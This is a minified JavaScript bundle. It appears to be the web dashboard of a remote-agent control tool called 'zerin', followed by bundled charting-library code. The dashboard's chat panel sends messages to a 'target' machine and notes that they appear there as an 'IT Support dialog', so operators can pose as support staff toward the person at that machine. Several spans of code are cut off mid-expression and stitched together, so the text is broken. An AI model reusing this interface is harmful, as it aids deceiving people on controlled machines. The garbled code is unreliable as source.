24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map(($,L)=>s.jsxs(vh.Fragment,{children:[V(L)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>_($.label,L),onMouseLeave:T,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===$.label||y===L?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===$.label||y===L?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:$.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:$.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===$.label||y===L?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===$.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${R?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:$.label})}),$.commands.map((W,B)=>{const U=N&&W.nav.action!=="remove"&&W.nav.action!=="ban",F=UA.has(W.key)||W.nav.action==="remove",H=VA.has(W.key)||W.nav.action==="ban",G=WA.has(W.key),re=j&&b===B;return s.jsxs("button",{onClick:()=>P(W),disabled:U,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${F?re?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":H?re?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":U?"cursor-not-allowed text-zerin-text-muted":re?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:W.label}),G&&!U&&Xt.externalLink]},W.key)})]})]})]},$.label))]})]})})};function d5({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(id),g=p.useCallback(async()=>{try{const v=et(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=et(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:GA(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r transition-colors hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function GA(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const XA=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function f5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=n_(e,t_),f=a||{width:r,height:i,x:0,y:0},m=qe("recharts-surface",o);return p.createElement("svg",bm({},Mt(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),i_=["children","className"];function wm(){return wm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=a_(e,i_),a=qe("recharts-layer",r);return p.createElement("g",wm({className:a},Mt(i),{ref:t}),n)}),o_=p.createContext(null);function Te(e){return function(){return e}}const x5=Math.cos,Fc=Math.sin,Bn=Math.sqrt,Wc=Math.PI,ad=2*Wc,jm=Math.PI,km=2*jm,Ci=1e-6,l_=km-Ci;function v5(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return v5;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;iCi)if(!(Math.abs(f*c-u*d)>Ci)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((jm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>Ci&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Ci||Math.abs(this._y1-d)>Ci)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%km+km),m>l_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>Ci&&this._append`A${r},${r},0,${+(m>=jm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function vx(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new u_(t)}function gx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function g5(e){this._context=e}g5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function sd(e){return new g5(e)}function y5(e){return e[0]}function b5(e){return e[1]}function w5(e,t){var n=Te(!0),r=null,i=sd,a=null,o=vx(l);e=typeof e=="function"?e:e===void 0?y5:Te(e),t=typeof t=="function"?t:t===void 0?b5:Te(t);function l(c){var u,d=(c=gx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return w5().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:Te(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:Te(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:Te(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:Te(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:Te(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:Te(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:Te(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class j5{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function d_(e){return new j5(e,!0)}function f_(e){return new j5(e,!1)}const yx={draw(e,t){const n=Bn(t/Wc);e.moveTo(n,0),e.arc(0,0,n,0,ad)}},p_={draw(e,t){const n=Bn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},k5=Bn(1/3),m_=k5*2,h_={draw(e,t){const n=Bn(t/m_),r=n*k5;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},x_={draw(e,t){const n=Bn(t),r=-n/2;e.rect(r,r,n,n)}},v_=.8908130915292852,N5=Fc(Wc/10)/Fc(7*Wc/10),g_=Fc(ad/10)*N5,y_=-x5(ad/10)*N5,b_={draw(e,t){const n=Bn(t*v_),r=g_*n,i=y_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=ad*a/5,l=x5(o),c=Fc(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},Hf=Bn(3),w_={draw(e,t){const n=-Bn(t/(Hf*3));e.moveTo(0,n*2),e.lineTo(-Hf*n,-n),e.lineTo(Hf*n,-n),e.closePath()}},un=-.5,dn=Bn(3)/2,Nm=1/Bn(12),j_=(Nm/2+1)*3,k_={draw(e,t){const n=Bn(t/j_),r=n/2,i=n*Nm,a=r,o=n*Nm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(un*r-dn*i,dn*r+un*i),e.lineTo(un*a-dn*o,dn*a+un*o),e.lineTo(un*l-dn*c,dn*l+un*c),e.lineTo(un*r+dn*i,un*i-dn*r),e.lineTo(un*a+dn*o,un*o-dn*a),e.lineTo(un*l+dn*c,un*c-dn*l),e.closePath()}};function N_(e,t){let n=null,r=vx(i);e=typeof e=="function"?e:Te(e||yx),t=typeof t=="function"?t:Te(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:Te(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:Te(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function Uc(){}function Vc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function S5(e){this._context=e}S5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Vc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Vc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function S_(e){return new S5(e)}function z5(e){this._context=e}z5.prototype={areaStart:Uc,areaEnd:Uc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Vc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function z_(e){return new z5(e)}function C5(e){this._context=e}C5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Vc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function C_(e){return new C5(e)}function P5(e){this._context=e}P5.prototype={areaStart:Uc,areaEnd:Uc,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function P_(e){return new P5(e)}function Bg(e){return e<0?-1:1}function Fg(e,t,n){var r=e._x1-e._x0,i=t-e._x1,a=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(a*i+o*r)/(r+i);return(Bg(a)+Bg(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(l))||0}function Wg(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Kf(e,t,n){var r=e._x0,i=e._y0,a=e._x1,o=e._y1,l=(a-r)/3;e._context.bezierCurveTo(r+l,i+l*t,a-l,o-l*n,a,o)}function Hc(e){this._context=e}Hc.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Kf(this,this._t0,Wg(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Kf(this,Wg(this,n=Fg(this,e,t)),n);break;default:Kf(this,this._t0,n=Fg(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function E5(e){this._context=new A5(e)}(E5.prototype=Object.create(Hc.prototype)).point=function(e,t){Hc.prototype.point.call(this,t,e)};function A5(e){this._context=e}A5.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,a){this._context.bezierCurveTo(t,e,r,n,a,i)}};function E_(e){return new Hc(e)}function A_(e){return new E5(e)}function _5(e){this._context=e}_5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=Ug(e),i=Ug(t),a=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/a[t];for(a[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function O_(e){return new od(e,.5)}function T_(e){return new od(e,0)}function M_(e){return new od(e,1)}function Xi(e,t){if((o=e.length)>1)for(var n=1,r,i,a=e[t[0]],o,l=a.length;n=0;)n[t]=t;return n}function L_(e,t){return e[t]}function I_(e){const t=[];return t.key=e,t}function D_(){var e=Te([]),t=Sm,n=Xi,r=L_;function i(a){var o=Array.from(e.apply(this,arguments),I_),l,c=o.length,u=-1,d;for(const f of a)for(l=0,++u;l0){for(var n,r,i=0,a=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,a=r.length;n0)||!((a=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,a,o;r1&&arguments[1]!==void 0?arguments[1]:W_,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function Ge(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+a:l!==void 0?i+Gr(l)+a:i+a},"")}var Ft=e=>e===0?0:e>0?1:-1,er=e=>typeof e=="number"&&e!=+e,Zi=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,fe=e=>(typeof e=="number"||e instanceof Number)&&!er(e),br=e=>fe(e)||typeof e=="string",U_=0,So=e=>{var t=++U_;return"".concat(e||"").concat(t)},nn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!fe(t)&&typeof t!="string")return r;var a;if(Zi(t)){if(n==null)return r;var o=t.indexOf("%");a=n*parseFloat(t.slice(0,o))/100}else a=+t;return er(a)&&(a=r),i&&n!=null&&a>n&&(a=n),a},M5=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):No(r,t))===n)}var St=e=>e===null||typeof e>"u",Ko=e=>St(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function Yn(e){return e!=null}function as(){}var V_=["type","size","sizeType"];function zm(){return zm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Ko(e));return I5[t]||yx},Q_=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*X_;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},J_=(e,t)=>{I5["symbol".concat(Ko(e))]=t},D5=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=Y_(e,V_),a=Hg(Hg({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var m=Z_(o),h=N_().type(m).size(Q_(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=a,f=Mt(a);return fe(u)&&fe(d)&&fe(n)?p.createElement("path",zm({},f,{className:qe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};D5.registerSymbol=J_;var R5=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,wx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(p.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{xx(i)&&(r[i]=a=>n[i](n,a))}),r},eO=(e,t,n)=>r=>(e(t,n,r),null),tO=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var a=e[i];xx(i)&&typeof a=="function"&&(r||(r={}),r[i]=eO(a,t,n))}),r};function Kg(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function nO(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return a}var $5={},B5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let a=0;a=0}e.isLength=t})(U5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=U5;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(dd);var V5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(V5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dd,n=V5;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(W5);var H5={},K5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ld;function n(r){return function(i){return t.get(i,r)}}e.property=n})(K5);var q5={},kx={},Y5={},Nx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Nx);var Sx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Sx);var zx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(zx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Nx,n=Sx,r=zx;function i(d,f,m){return typeof m!="function"?i(d,f,()=>{}):a(d,f,function h(x,g,y,v,b,w){const j=m(x,g,y,v,b,w);return j!==void 0?!!j:a(x,g,h,w)},new Map)}function a(d,f,m,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,m,h);case"function":return Object.keys(f).length>0?a(d,{...f},m,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,m,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,m,h);if(f instanceof Map)return l(d,f,m,h);if(f instanceof Set)return u(d,f,m,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return 